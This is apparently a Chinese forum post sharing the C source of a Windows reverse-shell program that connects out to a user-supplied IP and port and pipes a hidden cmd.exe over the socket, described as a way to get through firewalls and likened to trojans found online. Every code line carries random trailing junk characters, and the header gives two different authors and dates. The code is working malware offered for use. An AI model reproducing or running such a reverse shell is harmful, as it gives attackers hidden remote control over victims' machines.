这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c[zaYcbl
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/* ============================== K=Y{iHn
Rebound port in Windows NT ~H\1dCW
By wind,2006/7 #Ab,h#f*7
===============================*/ &C&?kS(
#include &|#z" E^-
#include 34s>hm=0.
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#pragma comment(lib,"wsock32.lib") a$2WL g,
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void OutputShell(); LP:U6 Z
SOCKET sClient; Ew$-,KC[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bG&vCH;}%
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void main(int argc,char **argv) nX\Q{R2
{ 1 ,e`,
WSADATA stWsaData; LvbS")
int nRet; =qy{8MsjA
SOCKADDR_IN stSaiClient,stSaiServer; -h1FrDBt
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if(argc != 3) ZB5u\NpcW
{ v3Xt<I=4y
printf("Useage:\n\rRebound DestIP DestPort\n"); _ H$^m#h
return; P%_PG%O2p
} yaW HGre
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WSAStartup(MAKEWORD(2,2),&stWsaData); Q~>="Yiu
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }v$T1Cw
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stSaiClient.sin_family = AF_INET; 6Cvg-X@
stSaiClient.sin_port = htons(0); >#8J@=iuqv
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); DfX}^'#m+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]~J.YX9ST
{ HP
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printf("Bind Socket Failed!\n"); QoTjKck.
return; >7j(V`i"y
} ow@1.5WL+
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stSaiServer.sin_family = AF_INET; [(eO_I5ep
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Qe;j_ BH
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ptvM>zw'~g
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0$e]?]X6
{ y+K21(z.
printf("Connect Error!"); &XH{,fv$
return; S)~Riuy$
} l!9G
OutputShell(); ]xf|xs
} ,.PW
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void OutputShell() {xS\CC(g
{ x"xtILrI
char szBuff[1024]; Sh2;^6d
SECURITY_ATTRIBUTES stSecurityAttributes; J2P5<
OSVERSIONINFO stOsversionInfo; bWOn`#+&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =sa bJsgL
STARTUPINFO stStartupInfo; dt=5 Pnf[y
char *szShell; dX>l"))yR
PROCESS_INFORMATION stProcessInformation; tW7*(D
unsigned long lBytesRead; m(c5g[6nO
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); RBM(>lU:
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Kl)PF),
stSecurityAttributes.lpSecurityDescriptor = 0; gt=
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stSecurityAttributes.bInheritHandle = TRUE; T.R(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d/3
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8 ?+t+m[
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~.'NG?
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1XvB,DhJ
stStartupInfo.wShowWindow = SW_HIDE; ]&kzIxh
stStartupInfo.hStdInput = hReadPipe; _m8JU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5qW*/
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GetVersionEx(&stOsversionInfo); -+#g.1UL/
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switch(stOsversionInfo.dwPlatformId) tzFgPeo$;
{ b6E,u*)"
case 1: )$ +5imi
szShell = "command.com"; <^,5z!z}
break; I];Hx'/<~
default: V6{P4 1_
szShell = "cmd.exe"; T-L;iH~0
break; ,0=@cJ
} m+Bt9|d
beM}({:`
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]\Tcy [5
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send(sClient,szMsg,77,0); !ENb \'>J>
while(1) wZV/]jmlEt
{ jSyF]$"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5I(gP
if(lBytesRead) TXlxnB
{ u4kg#+H
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zFtRsa5+
send(sClient,szBuff,lBytesRead,0); 7k>sE
} ou[_ y
else <r%QaQRbm
{ 2Hp#~cE+.
lBytesRead=recv(sClient,szBuff,1024,0); ^KsiTVY
if(lBytesRead<=0) break; 5YG?m{hyn_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f/:XIG
} f9Hm2wV
} {t;{={$
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return; O)tZ`X;
}